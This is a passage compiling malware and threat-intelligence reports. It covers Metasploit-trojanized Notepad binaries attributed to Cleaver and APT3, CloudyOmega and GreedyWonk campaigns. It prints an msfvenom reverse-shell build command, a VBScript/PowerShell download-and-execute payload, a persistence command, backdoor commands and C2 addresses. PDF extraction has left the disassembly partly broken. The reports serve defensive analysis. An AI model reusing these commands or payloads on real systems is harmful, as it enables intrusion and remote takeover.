PRC) +19d9b37d3acf3468887a4d41bf70e9aa +notepad10.exe +179,712 +6.1.7600.16385, English (United +States +d378bffb70923139d6a4f546864aa61c +179,712 +6.1.7600.16385, English (United +States) +Table 1. A summary of Notepad samples dug from the attackers' FTP drop, with the official Windows 7 +Notepad appearing at bottom. It and the official Windows XP/2003 Notepad are represented in green. +Things got interesting when we started comparing the Notepads at the byte level. The image below depicts +some byte differences between the original Windows 7 Notepad and samples NOTEPAD2.EXE and +Notepad3.exe: +Figure 2. Comparison of the Windows 7 Notepad (green channel), NOTEPAD2.EXE (red channel), and +Notepad3.exe (blue channel). +At the Portable Executable (PE) level, these differences translate to changes in the files' timestamps +(IMAGE_NT_HEADERS.FileHeader.TimeDateStamp, offset 0xE8 in the figure above), the relative virtual +addresses (RVAs) of their entry points (IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint, +offset 0x108), and their checksums (IMAGE_NT_HEADERS.OptionalHeader.CheckSum, offset 0x138). +The timestamps were rolled back by weeks to months relative to the legitimate progenitors' timestamps; +we don't know why. The entry points retreated or advanced by hundreds of bytes to dozens of kilobytes, +for reasons we'll explore shortly. And the checksums were all zeroed out, presumably because the file +modifications invalidate them, invalid non-zero checksums are a tip-off, and zeroing is easier than +recomputing. +So what's the story with all those other modifications? In all cases they seem to be confined to the ".text" +section, centrally located to avoid the import directory, debug directory, load configuration directory, and +import address table. This makes sense as a general precaution, considering that corrupting the import +directory would unhelpfully crash the Windows loader during process initialization. The following image +illustrates the distribution of modifications relative to these structures. +Figure 3. File locations of modifications (red) and the PE structures they avoid (gray). From left to +right, the four vertical bars represent the ".text" sections of NOTEPAD2.EXE, Notepad3.exe, +Notepad4.exe, and notepad10.exe, as compared to the original Notepad from their respective families. +The Import Address Table (IAT), original entry point (OEP, green), malware entry point (EP, yellow), +load configuration directory (LC), import directory (Imp), and debug directory (Dbg) are labeled. +While the arrangement of the structures varies among families, it's clear from the figure above that the +region between structures containing the original entry point has in each case been filled with +modifications. Notably, each sample has a short run of consecutive modifications immediately following +the new entry point, and then a longer run elsewhere in the region. Presumably, both runs are injected +malicious code, and the other modifications may well be random noise intended as a distraction. Since +there are no other changes and no appended data, it's reasonable to assume that the code that makes a +Notepad act like Notepad is simply gone, and that the samples will behave only maliciously. If true, then +these modifications would represent a backdooring or "Trojanization" rather than a parasitic infection, +and this distinction implies certain things about how the Notepads were made and how they might be +used. +Tales from the Code +Let's take a look at the entry point code of the malicious Notepads and see if it aligns with our +observations. The short answer is, it looks like nonsense. Here's a snippet from Notepad4.exe: +010067E3 +eax, 2C7AE239 +010067E8 +test +al, 80 +010067EA +test +eax, 498DBAD5 +010067F0 +short 01006831 +010067F2 +eax, B69F4A73 +010067F7 +edx, esi +010067F9 +short 01006800 +010067FB +010067FC +cl, 91 +010067FE +cwde +010067FF +short 01006803 +At this point the code becomes difficult to list due to instruction scission, or branching into the middle of +an instruction (analogous to a frameshift error in DNA translation, if that helps). For instance, the JNP +instruction at 010067FF is a two-byte instruction, and the JNZ branch at 010067F9, if satisfied, jumps to +the JNP instruction's second byte at 01006800. That byte begins a different two-byte instruction, which +incorporates what would have otherwise been the first byte of the instruction after the JNP, meaning its +successor will start in the middle of JNP's successor, and so on. The two execution paths usually (but don't +necessarily) converge after a few instructions. +The outcome of these instructions depends on the initial state of the registers, which is technically +undefined. Seeing code operate on undefined values typically suggests that the bytes aren't code after all +and so shouldn't have been disassembled. But keep looking. Notice that there are no memory accesses +(which could raise an access violation), no stack pointer manipulation (which could cause a stack overflow +or underflow), no division instructions (which could raise a divide exception), no invalid or privileged +instructions, no interrupts or indirect branches--really, no uncontrolled execution transfers of any kind. +Even more tellingly, all the possible execution paths seem to eventually flow to this code: +01006877 +ch, 15 +01006879 +eax, 4941B62F +0100687E +xchg +eax, ebx +0100687F +cl, 4B +01006881 +01006882 +wait +01006883 +xchg +eax, ecx +01006884 +01006885 +01006886 +db 67 +01006887 +01006888 +cwde +01006889 +eax, 24401D66 +0100688E +0100688F +al, F8 +01006891 +01005747 +01005747 +01005748 +01005758 +01005759 +0100575A +short 01005768 +01005768 +call +01005A70 +01005A70 +01005A71 +01005A72 +01005A85 +01005A86 +esi, 000001A9 +01005A8B +01005A99 +01005A99 +push +00000040 +01005A9B +push +00001000 +01005AA0 +01005AA1 +01005AAF +01005AAF +push +01005758 +01005A85 +01005AB0 +01005AB1 +01005AC2 +push +01005AC4 +push +E553A458 +01005AC9 +01005AD7 +01005AD7 +call +01005AC2 +Here the gaps in the listing indicate when the disassembly follows an unconditional branch. The code +seems to abruptly change character after the jump at 01006891, transitioning from gibberish to a string of +short sequences connected by unconditional branches. This transition corresponds to a jump from the end +of the short run of modifications (01006896) after the malware entry point to the beginning of the longer +run of modifications (01005747) a few kilobytes before it. (See the third column in Figure 3.) +In the disassembly above, the first sequence of green lines is a clear CALL-POP pair intended to obtain a +code address in a position-independent way. (An immediate address value marked with a relocation would +be the orthodox way to obtain a code pointer, but preparing that would have involved modifying the +".reloc" section.) No way is this construct a coincidence. Furthermore, the blue lines strongly resemble the +setup for a VirtualAlloc call (VirtualAlloc(NULL, 0x1A9, MEM_COMMIT, +PAGE_EXECUTE_READWRITE)) typical of a deobfuscation stub, and the second set of green lines +invoke the CALL-POPped function pointer with what one might readily assume is a hash of the string +"VirtualAlloc". (It is.) +There's plenty more to observe in the disassembly, but, let's fast-forward past it. +windbg -c "bp kernel32!VirtualAlloc ; g" Notepad4.exe... +Figure 4. VirtualAlloc breakpoint hit. The parameters on the stack and the state of the registers are as +expected. +g poi(@esp) ; ba w 1 @eax+@esi-1 ; g... +Figure 5. Memory write (hardware) breakpoint hit after the last (0x1A9th) byte is written to allocated +memory. +And now we can dump the extracted code from memory. It isn't immediately gratifying: +00100000 +fabs +00100002 +00100007 +fnstenv [esp-0C] +0010000B +0010000C +ecx, ecx +0010000E +cl, 64 +00100010 +[eax+19], edx +00100013 +edx, [eax+19] +00100016 +eax, 4 +00100019 +db D6 +edx, 4DF05534 +; = initial XOR key +; old trick to get EIP +; = length in DWORDs +; XOR key is modified after each DWORD +The byte 0xD6 at address 00100019 doesn't disassemble, and there aren't any branches skipping over it. +But check out the instructions just above it referencing "[eax+19]". The code is in a sense self-modifying, +flowing right into a portion of itself that it XOR decodes. The first decoded instruction is "LOOP +00100010" (0xD6 ^ 0x34 = 0xE2, the opcode for LOOP), which will execute the XOR loop body 99 more +times (CL - 1 = 0x63 = 99) and then fall through to the newly-decoded code. +When we run this decoding stub (which, come to find out, is Metasploit's "shikata ga nai" decoder stub) to +completion, we're rewarded with... another decoding stub: +0010001B +fcmovu +st, st(1) +; a different initial FPU instruction from +above +0010001D +fnstenv [esp-0C] +; different ordering of independent +instructions +00100021 +ebx, C2208861 +; a different initial XOR key and +00100026 +; a different code pointer register +00100027 +ecx, ecx +; XOR as an alternative to SUB for zeroing +00100029 +cl, 5D +; a shorter length +0010002B +[ebp+1A], ebx +0010002E +ebx, [ebp+1A] +00100031 +ebp, FFFFFFFC +00100034 +loop +000FFFCA +register +counter +; decoding starts at a different offset +; SUB -4 as an alternative to ADD +4 +; instruction is partly encoded +Here, the first byte to be XORed is the second byte of the LOOP instruction, hence the nonsensical +destination apparent in the pre-decoding disassembly above. (For brevity, we cut each listing at the first +sign of encoding.) Run that to completion, and then... +00100036 +edx, 463DC74D +0010003B +fcmovnbe st, st(0) +0010003D +fnstenv [esp-0C] +00100041 +00100042 +ecx, ecx +00100044 +cl, 57 +00100046 +[eax+12], edx +; notice the length gets shorter each time +00100049 +eax, 4 +0010004C +ebx, ds:[47B3DFC9] +; instruction is partly encoded +And then... +00100051 +fcmovbe st, st(0) +00100053 +00100058 +fnstenv [esp-0C] +0010005c +0010005d +ecx, ecx +0010005f +cl, 50 +00100061 +[eax+18],edx +00100064 +eax, 4 +00100067 +edx, [eax+67] +0010006C +eax, E878CF4D +00100071 +fcmovnbe st, st(4) +00100073 +fnstenv [esp-0C] +00100077 +00100078 +ecx, ecx +0010007A +cl, 49 +0010007C +[ebx+14], eax +0010007F +ebx, 4 +00100082 +eax, [ebx+10] +00100085 +scasd +; incorrect disassembly of encoded byte +edx, 869A5D73 +; instruction is partly encoded +And then... +Finally, at the end of six nested decoders, we see the light: +00100087 +00100088 +call +0010008D +pushad +0010008E +ebp, esp +00100090 +edx, edx +00100092 +edx, fs:[edx+30] +; PTEB->ProcessEnvironmentBlock +00100096 +edx, [edx+0C] +; PPEB->Ldr +00100099 +edx, [edx+14] +; PPEB_LDR_DATA- +; PLDR_MODULE.BaseDllName.Buffer +00100116 +>InMemoryOrderModuleList +0010009C +esi, [edx+28] +0010009F +movzx +ecx, word ptr [edx+26] +PLDR_MODULE.BaseDllName.MaximumLength +001000A3 +edi, edi +001000A5 +eax, eax +001000A7 +lodsb +001000A8 +al, 61 +001000AA +001000ae +001000AC +al, 20 +001000AE +edi, 0D +001000B1 +edi, eax +; check for lowercase letter +; convert to uppercase +It looks like a call over a typical module or export lookup function. In fact, it is, and as the ROR-ADD pair +suggests, it implements module name and export name hashing, the algorithms of which can be expressed +as follows: +unsigned int GetModuleNameHash(PLDR_MODULE pLdrModule) +unsigned int hash = 0; +char * p = (char *) pLdrModule->BaseDllName->Buffer; +for (int n = pLdrModule->BaseDllName->MaximumLength; n != 0; p++, n--) +char ch = *p; +if (ch >= 'a') ch -= 0x20; +hash = _rotr(hash, 13) + (unsigned char) ch; +return hash; +unsigned int GetExportNameHash(char *pszName) +unsigned int hash = 0; +for ( ; ; pszName++) +hash = _rotr(hash, 13) + (unsigned char) *pszName; +if (*pszName == 0) break; +return hash; +Still, this is all just preamble. What is the point that it eventually gets to? +You'd be forgiven for assuming that the tremendous amount of effort poured into obfuscation means +there's some treasure beyond all fables at the bottom of this erstwhile Notepad. Sorry. It just downloads +and executes a block of raw code. (Spoiler: it's actually a Metasploit reverse connect stager.) Here is its +behavior summarized as function calls: +kernel32!LoadLibraryA("ws2_32") +ws2_32!WSAStartup(...) +s = ws2_32!WSASocketA(AF_INET, SOCK_STREAM, ...) +ws2_32!connect(s, { sin_family = AF_INET, sin_port = htons(12345), sin_addr = +108.175.152.230 }, 0x10) +ws2_32!recv(s, &cb, 4, 0) +p = kernel32!VirtualAlloc(NULL, cb, MEM_COMMIT, PAGE_EXECUTE_READWRITE) +ws2_32!recv(s, p, cb, 0) +The above is known to be true for Notepad3.exe, Notepad4.exe, and notepad10.exe. NOTEPAD2.EXE +doesn't seem to want to run, for reasons we didn't bother to troubleshoot for the bad guys. +Denouement +Unfortunately, we never did obtain a sample of the code that might have been downloaded. The key to that +enigma-embedded, mystery-wrapped riddle is forever lost to us. The best we can do is read what's written +in the Notepads and speculate as to why they exist at all. +Clearly whatever generator created these Notepads is far, far beyond the technical understanding of the +Cleaver team. It stands to reason that there is a generator--no chance these were crafted by hand--and that +its sophistication is even greater than that of its output. Something like that wouldn't be used only once. +Something like that, if this team was able to get ahold of it, must be out there. Turn the right corner of the +internet, and you can find anything... +Well it so happens that we did eventually find it. Some of you have no doubt suspected it all along, and +now I'll humbly confirm it for you: the Notepads were, in their entirety, generated by Metasploit. +Something along the lines of "msfvenom -x notepad.exe -p windows/shell/reverse_tcp -e +x86/shikata_ga_nai -i 5 LHOST=108.175.152.230 LPORT=12345 > Notepad4.exe". The "msfvenom" tool +transmogrifies a Metasploit payload into a standalone EXE, and with the "-x" switch, it'll fuse the payload-encoded as desired--into a copy of an existing executable, exhibiting exactly the behavior we just +described. Omne ignotum pro magnifico. Perhaps the more bizarre a thing is, the less mysterious it +proves to be. +However, we're still left to wonder what Cleaver was up to when they generated all those Notepads. One +conclusion Brian proposed is that they're intended as backdoors--replacements for the legitimate Notepad +on a compromised system--which would enable Cleaver to regain access to a system at some +indeterminate time in the future, the next time a user runs Notepad. The team demonstrated a similarly +intentioned tactic with a connect-back shell scheduled to run in a six-minute window each night; the +Notepad replacement, while more intrusive, could be another example of this contingency planning +tendency. +Or maybe the Notepads were only an aborted experiment, attempted and shelved, forgotten in a flurry of +compromises and criminal activity. If nothing else, they made for an unexpected bit of mystery. +Operation Double Tap +APT3 (also known as UPS), the actors responsible for Operation Clandestine Fox has quietly continued to +send waves of spearphishing messages over the past few months. This actor initiated their most recent +campaign on November 19, 2014 targeting multiple organizations. The attacker leveraged multiple +exploits, targeting both CVE-2014-6332 and CVE-2014-4113. CVE-2014-6332 was disclosed publicly on +2014-11-11 and is a Windows OLE Automation Array Remote Code Execution vulnerability. CVE-20144113 is a privilege escalation vulnerability that was disclosed publicly on 2014-10-14. +The use of CVE-2014-6332 is notable, as it demonstrates that multiple classes of actors, both criminal and +APT alike, have now incorporated this exploit into their toolkits. Further, the use of both of these two +known vulnerabilities in tandem is notable for APT3. This actor is historically known for leveraging zeroday vulnerabilities in widespread but infrequent phishing campaigns. The use of known exploits and more +frequent attacks may indicate both a shift in strategy and operational tempo for this group. +The Spearphish +The body of the message is below: +One Month's Free Membership for The PLAYBOY ClUB 1080P HD VIDEOS 100,000 PHOTOS +4,000 MODELS Nude Celebrities,Playmates,Cybergirls & More! Click +hxxp://join.playboysplus.com/signup/ To Get a Free Plus Member Now & Never Miss Another Update. +Your Member referrals must remain active. If anyone getting "Promotion not available" for 1 month free +membership, you might get the issue up to 48 hrs once your membership is expired and make sure to +Clear out cookies or use another browser or use another PC. +The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the +affected users + system to download the below payload: +function runmumaa() +On Error Resume Next +set shell=createobject("Shell.Application") +shell.ShellExecute "powershell.exe","-NoLogo -NoProfile +-NonInteractive -WindowStyle +Hidden ( New-Object +System.Net.WebClient +).DownloadFile( +http://www.playboysplus.com +/install/install.exe +install.exe +);Invoke-Item install.exe", "", +"open", 1 +end function +The CVE-2014-6332 exploit code seen in this incident is derived from the code published at +http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project. +The Downloader +After the exploit or script executes, the system downloads install.exe, which has the following metadata: +5a0c4e1925c76a959ab0588f683ab437 +Size +46592 bytes +Compile Time 2014-11-19 08:55:10Z +Import Hash +6b8611f8148a6b51e37fd68e75b6a81c +The file install.exe attempts to write two files (doc.exe and test.exe) to the hard-coded path +C:\Users\Public +, which fails on Windows XP because that path is not present by default. +The first dropped file, doc.exe, contains the CVE-2014-4113 exploit and then attempts to execute test.exe +with the elevated privileges. These files have the following metadata: +doc.exe (x86): +492a839a3bf9c61b7065589a18c5aa8d +Size +12288 bytes +Import Hash 9342d18e7d315117f23db7553d59a9d1 +doc.exe (x64): +744a17a3bc6dbd535f568ef1e87d8b9a +Size +13824 bytes +Compile Time 2014-11-19 08:25:45Z +Import Hash 2fab77a3ff40e4f6d9b5b7e813c618e4 +test.exe: +5c08957f05377004376e6a622406f9aa +Size +11264 bytes +Compile Time 2014-11-18 10:49:23Z +Import Hash f34d5f2d4577ed6d9ceec516c1f5a744 +These payload files also have interesting PDB debug strings. +install.exe: +c:\Users\aa\Documents\Visual Studio 2008\Projects\MShell\Release +\MShell.pdb +doc.exe: +c:\Users\aa\Documents\Visual Studio 2008\Projects\4113\Release +\4113.pdb +test.exe: +C:\Users\aa\Documents\Visual Studio 2010\Projects\MyRat\Client\Client +\obj\x86\Release\Client.pdb +The most interesting PDB string is the +4113.pdb, + which appears to reference CVE-2014-4113. This CVE is +a local kernel vulnerability that, with successful exploitation, would give any user SYSTEM access on the +machine. +The malware component, test.exe, uses the Windows command "cmd.exe" /C whoami + to verify it is +running with the elevated privileges of +System + and creates persistence by creating the following +scheduled task: +schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON +/ru "System" +When executed, the malware first establishes a SOCKS5 connection to 192.157.198.103 using TCP port +1913. The malware sends the SOCKS5 connection request "05 01 00" and verifies the server response +starts with "05 00". The malware then requests a connection to 192.184.60.229 on TCP port 81 using the +command "05 01 00 01 c0 b8 3c e5 00 51" and verifies that the first two bytes from the server are "05 00" +(c0 b8 3c e5 is the IP address and 00 51 is the port in network byte order). +Once the connection to the server is established, the malware expects a message containing at least three +bytes from the server. These first three bytes are the command identifier. The following commands are +supported by the malware: +Command +Description +00 00 00 +Content after command ID is written to: +C:\Users\ +[Username]\AppData\Local\Temp\notepad1.exe +00 00 01 +Deletes the files: +C:\Users\ +[Username]\AppData\Local\Temp\notepad.exe +C:\Users\ +[Username]\AppData\Local\Temp\newnotepad.exe +00 00 02 +Malware exits +00 00 03 +Malware downloads the URL that follows the +command ID. The file is saved to: +C:\Users\ +[Username]\AppData\Local\Temp\notepad.exe +00 00 04 +Content after command ID is written to: +C:\Users\ +[Username]\AppData\Local\Temp\notepad2.exe +00 00 05 +The files notepad1.exe and notepad2.exe are +concatenated together and written to C:\Users\ +[Username]\AppData\Local\Temp\newnotepad.exe +and executed +00 00 06 +The contents of the following file is sent to the +server: +C:\Users\ +[Username]\AppData\Local\Temp\note.txt +00 00 07 +The string following the command ID is executed +using "cmd /C" and results are sent to server +Links to APT3 +On October 28, we observed APT3 sending out spearphishing messages containing a compressed +executable attachment. The deflated exe was a variant of the same downloader described above and +connected to 198.55.115.71 over port 1913 via SOCKS5 proxy. The secondary payload in that case was +detected as Backdoor.APT.CookieCutter (aka Pirpi) and also named newnotepad.exe (MD5 +8849538ef1c3471640230605c2623c67) and connected to the known APT3 domains: +inform.bedircati[.]com +pn.lamb-site[.]com +210.109.99.64 +The 192.184.60.229 IP address seen in this current campaign also hosts securitywap[.]com + another +known domain referenced in our Operation Clandestine Fox blog. +DOMAIN +FIRST SEEN +LAST SEEN +IP ADDRESS +securitywap.com +2014-11-17 +2014-11-20 +192.184.60.229 +www.securitywap.com +2014-11-17 +2014-11-20 +192.184.60.229 +In addition, the join.playboysplus[.]com exploit and payload delivery site resolves to 104.151.248.173. +This IP has hosted other domains used by APT3 in past campaigns: +DOMAIN +FIRST SEEN +LAST SEEN +IP ADDRESS +join.playboysplus[.]com +2014-11-21 +2014-11-21 +104.151.248.173 +walterclean[.]com +2014-11-18 +2014-11-20 +104.151.248.173 +www.walterclean[.]com +2014-11-18 +2014-11-20 +104.151.248.173 +As we discussed in our previous blog detailing previous APT3 activity, the walterclean[.]com served as a +Plugx/Kaba command and control server. +Conclusion +Although APT3 is well known for employing zero-day exploits in their attacks, recent activity has +demonstrated that they will also attack targets with known exploits or social engineering. +Since Operation Clandestine Fox, we have observed this actor execute multiple attacks that did not rely on +zero-day exploits. The combination of this sustained operational tempo and lack of zero-day +exploits may indicate that this group has changed strategy and has decided to attack more +frequently and does not have steady access to zero-day exploit code. No matter the strategy, +this actor has shown an ability to operate successfully. +IOCs for this threat can be found here. +Operation CloudyOmega: Ichitaro zero-day and ongoing +cyberespionage campaign targeting Japan +JustSystems has issued an update to its Ichitaro product line (Japanese office suite software), plugging a +zero-day vulnerability. This vulnerability is being actively exploited in the wild to specifically target +Japanese organizations. +The exploit is sent to the targeted organizations through emails with a malicious Ichitaro document file +attached, which Symantec products detect as Bloodhound.Exploit.557. Payloads from the exploit may +include Backdoor.Emdivi, Backdoor.Korplug, and Backdoor.ZXshell; however, all payloads aim to steal +confidential information from the compromised computer. +The content of the emails vary depending on the business interest of the targeted recipient +s organization; +however, all are about recent political events associated with Japan. Opening the malicious attachment +with Ichitaro will drop the payload and display the document. Often such exploitation attempts crash and +then relaunch the document viewer to open a clean document in order to trick users into believing it is +legitimate. In this particular attack, opening the document and dropping the payload are done without +crashing Ichitaro and, as such, users have no visual indications as to what is really happening in the +background. +CloudyOmega +As Security Response previously discussed, unpatched vulnerabilities being exploited is nothing new for +Ichitaro. However, during our investigation of this Ichitaro zero-day attack, we discovered that the attack +was in fact part of an ongoing cyberespionage campaign specifically targeting various Japanese +organizations. Symantec has named this attack campaign CloudyOmega. In this campaign, variants of +Backdoor.Emdivi are persistently used as a payload. All attacks arrive on the target computers as an +attachment to email messages. Mostly the attachments are in a simple executable format with a fake icon. +However, some of the files exploit software vulnerabilities, and the aforementioned vulnerability in +Ichitaro software is only one of them. This group +s primary goal is to steal confidential information from +targeted organizations. This blog provides insights into the history of the attack campaign, infection +methods, malware payload, and the group carrying out the attacks. +Timeline +The first attack of the campaign can be traced back to at least 2011. Figure 1 shows the targeted sectors +and the number of attacks carried out each year. The perpetrators were very cautious launching attacks in +the early years with attacks beginning in earnest in 2014. By far, the public sector in Japan is the most +targeted sector hit by Operation CloudyOmega. This provides some clue as to who the attack group is. +Figure 1. Targeted sectors and number of attacks +Attack vector +Email is the predominant infection vector used in this campaign. +Figure 2. Sample email used in attack campaign +Figure 2 is an example of an email used in recent attacks prior to those exploiting the Ichitaro zero-day +vulnerability. The emails include password-protected .zip files containing the malware. Ironically, the +attackers follow security best practices by indicating in the first email that the password will be sent to the +recipient in a separate email. This is merely to trick the recipient into believing the email is from a +legitimate and trustworthy source. The body of the email is very short and claims the attachment includes +a medical receipt. The email also requests that the recipient open the attachment on a Windows computer. +The file in the attachment has a Microsoft Word icon but, as indicated within Windows Explorer, it is an +executable file. +Figure 3. Attached +document + is actually a malicious executable file +Payload +The malicious payload is Backdoor.Emdivi, a threat that opens a back door on the compromised +computer. The malware is exclusively used in the CloudyOmega attack campaign and first appeared in +2011 when it was used in an attack against a Japanese chemical company. Emdivi allows the remote +attacker executing the commands to send the results back to the command-and-control (C&C) server +through HTTP. +Each Emdivi variant has a unique version number and belongs to one of two types: Type S and Type T. +The unique version number is not only a clear sign that Emdivi is systematically managed, but it also acts +as an encryption key. The malware adds extra words to the version number and then, based on this, +generates a hash, which it uses as an encryption key. +Both Emdivi Type S and Type T share the following functionality: +Allow a remote attacker to execute code through HTTP +Steal credentials stored by Internet Explorer +Type T is primarily used in Operation CloudyOmega, has been in constant development since the +campaign was first launched in 2011, and is written in the C++ programing language. Type T employs +techniques to protect itself from security vendors or network administrators. Important parts of Type T, +such as the C&C server address it contacts and its protection mechanisms, are encrypted. Type T also +detects the presence of automatic analysis systems or debuggers, such as the following: +VirtualMachine +Debugger +Sandbox +Type S, on the other hand, was used only twice in the attack campaign. Type S is a .NET application based +on the same source code and shared C&C infrastructure as Type T. However, protection mechanisms and +encryption, essential features for threat survival, are not present in Type S. One interesting trait of Type S +is that it uses Japanese sentences that seem to be randomly taken from the internet to change the file +hash. For instance, in the example shown in Figure 4, it uses a sentence talking about the special theory of +relativity. +Figure 4. Japanese text used by Emdivi Type S variant +Who is Emdivi talking to? +Once infected, Emdivi connects to hardcoded C&C servers using the HTTP protocol. +So far, a total of 50 unique domains have been identified from 58 Emdivi variants. Almost all websites +used as C&C servers are compromised Japanese websites ranging from sites belonging to small businesses +to personal blogs. We discovered that 40 out of the 50 compromised websites, spread across 13 IP +addresses, are hosted on a single cloud-hosting service based in Japan. +Figure 5. Single IP hosts multiple compromised websites +The compromised sites are hosted on various pieces of web server software, such as Apache and Microsoft +Internet Information Services (IIS), and are on different website platforms. This indicates that the sites +were not compromised through a vulnerability in a single software product or website platform. Instead, +the attacker somehow penetrated the cloud service itself and turned the websites into C&C servers for +Backdoor.Emdivi. +The compromised cloud hosting company has been notified but, at the time of writing, has not replied. +Symantec offers two IPS signatures that detect and block network communication between infected +computers and the Emdivi C&C server: +System Infected: Backdoor.Emdivi Activity +System Infected: Backdoor.Emdivi Activity 2 +Zero-day and links to other cybercriminal groups +During our research, multiple samples related to this attack campaign were identified and allowed us to +connect the dots, as it were, when it came to CloudyOmega's connections to other attack groups. +In August 2012, the CloudyOmega attackers exploited the zero-day Adobe Flash Player and AIR +'copyRawDataTo()' Integer Overflow Vulnerability (CVE-2012-5054) in an attack against a high-profile +organization in Japan. The attackers sent a Microsoft Word file containing a maliciously crafted SWF file +that exploited the vulnerability. Once successfully exploited, the file installed Backdoor.Emdivi. As CVE2012-5054 was publicly disclosed in the same month, the attack utilized what was, at the time, a zero-day +exploit. +Interestingly, the Flash file that was used in an Emdivi attack in 2012 and the one used in the LadyBoyle +attack in 2013 look very similar. +Figure 6 shows the malformed SWF file executing LadyBoyle() code that attempts to exploit the Adobe +Flash Player CVE-2013-0634 Remote Memory Corruption Vulnerability (CVE-2013-0634). The Flash file +seems to have been created using the same framework used by the CloudyOmega group, but with a +different exploit. +Figure 6. Malformed SWF file used in the LadyBoyle campaign in February 2013 +Both attacks use a .doc file containing an Adobe Flash zero-day exploit that is used to install a back door. +No other evidence connects these two different campaigns; however, as described previously in Symantec +Security Response +s Elderwood blog, it is strongly believed that a single parent organization has broken +into a number of subgroups that each target a particular industry. +In terms of the latest attack on Ichitaro, we collected a dozen samples of JTD files, all of which are exactly +the same except for their payload. The parent organization, it would seem, supplied the zero-day exploit to +the different subgroups as part of an attack toolkit and each group launched a separate attack using their +chosen malware. This is why three different payloads (Backdoor.Emdivi, Backdoor.Korplug, and +Backdoor.ZXshell) were observed in the latest zero-day attack. +Figure 7. Parent group sharing zero-day exploit +Conclusion +Operation CloudyOmega was launched by an attack group that has communication channels with other +notorious attack groups including Hidden Lynx and the group responsible for LadyBoyle. CloudyOmega +has been in operation since 2011 and is persistent in targeting Japanese organizations. With the latest +attack employing a zero-day vulnerability, there is no indication that the group will stop their activities +anytime soon. Symantec Security Response will be keeping a close eye on the CloudyOmega group. +Protection summary +It is highly recommended that customers using Ichitaro products apply any patches as soon as possible. +Symantec offers the following protection against attacks associated with Operation CloudyOmega: +Backdoor.Emdivi +Backdoor.Emdivi!gen1 +Backdoor.Emdivi!gen2 +Bloodhound.Exploit.557 +Trojan.Mdropper +System Infected: Backdoor.Emdivi Activity +System Infected: Backdoor.Emdivi Activity 2 +Operation GreedyWonk: Multiple Economic and Foreign Policy Sites +Compromised, Serving Up Flash Zero-Day Exploit +Less than a week after uncovering Operation SnowMan, the FireEye Dynamic Threat Intelligence cloud +has identified another targeted attack campaign + this one exploiting a zero-day vulnerability in Flash. +We are collaborating with Adobe security on this issue. Adobe has assigned the CVE identifier CVE-20140502 to this vulnerability and released a security bulletin. +As of this blog post, visitors to at least three nonprofit institutions + two of which focus on matters of +national security and public policy + were redirected to an exploit server hosting the zero-day exploit. +re dubbing this attack +Operation GreedyWonk. +We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based +on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise), +attack infrastructure, and malware configuration properties. +The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits) +and a determination to infect visitors to foreign and public policy websites. The threat actors likely sought +to infect users to these sites for follow-on data theft, including information related to defense and public +policy matters. +Discovery +On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash +Player (12.0.0.4 and 11.7.700.261). Visitors to the Peter G. Peterson Institute for International Economics +(www.piie[.]com) were redirected to an exploit server hosting this Flash zero-day through a hidden +iframe. +We subsequently found that the American Research Center in Egypt (www.arce[.]org) and the Smith +Richardson Foundation (www.srf[.]org) also redirected visitors the exploit server. All three organizations +are nonprofit institutions; the Peterson Institute and Smith Richardson Foundation engage in national +security and public policy issues. +Mitigation +To bypass Windows + Address Space Layout Randomization (ASLR) protections, this exploit targets +computers with any of the following configurations: +Windows XP +Windows 7 and Java 1.6 +Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010 +Users can mitigate the threat by upgrading from Windows XP and updating Java and Office. If you +have Java 1.6, update Java to the latest 1.7 version. If you are using an out-of-date Microsoft Office 2007 +or 2010, update Microsoft Office to the latest version. +These mitigations do not patch the underlying vulnerability. But by breaking the exploit +s ASLR-bypass +measures, they do prevent the current in-the-wild exploit from functioning. +Vulnerability analysis +GreedyWonk targets a previously unknown vulnerability in Adobe Flash. The vulnerability permits an +attacker to overwrite the vftable pointer of a Flash object to redirect code execution. +ASLR bypass +The attack uses only known ASLR bypasses. Details of these techniques are available from our previous +blog post on the subject (in the +Non-ASLR modules + section). +For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C +runtime) gadgets with hard-coded base addresses for English ( +) and Chinese ( +zh-cn + and +zh-tw +On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C++ runtime) if the +user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has +Microsoft Office 2007 or 2010. +Java 1.6 is no longer supported and does not receive security updates. In addition to the MSVCR71.dll +ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6. That +s why +FireEye strongly recommends upgrading to Java 1.7. +The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013. More details about this +bypass are addressed by Microsoft +s Security Bulletin MS13-106 and an accompanying blog entry. +FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches. +Shellcode analysis +The shellcode is downloaded in ActionScript as a GIF image. Once ROP marks the shellcode as executable +using Windows + VirtualProtect function, it downloads an executable via the InternetOpenURLA and +InternetReadFile functions. Then it writes the file to disk with CreateFileA and WriteFile functions. +Finally, it runs the file using the WinExec function. +PlugX/Kaba payload analysis +Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash +507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint. This PlugX sample was +compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for +this campaign. +This PlugX payload was configured with the following command-and-control (CnC) domains: +java.ns1[.]name +adservice.no-ip[.]org +wmi.ns01[.]us +Sample callback traffic was as follows: +POST /D28419029043311C6F8BF9F5 HTTP/1.1 +Accept: */* +HHV1: 0 +HHV2: 0 +HHV3: 61456 +HHV4: 1 +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; +InfoPath.2; .NET CLR 2.0.50727; SV1) +Host: java.ns1.name +Content-Length: 0 +Connection: Keep-Alive +Cache-Control: no-cache +Campaign analysis +Both java.ns1[.]name and adservice.no-ip[.]org resolved to 74.126.177.68 on Feb. 18, 2014. Passive DNS +analysis reveals that the domain wmi.ns01.us previously resolved to 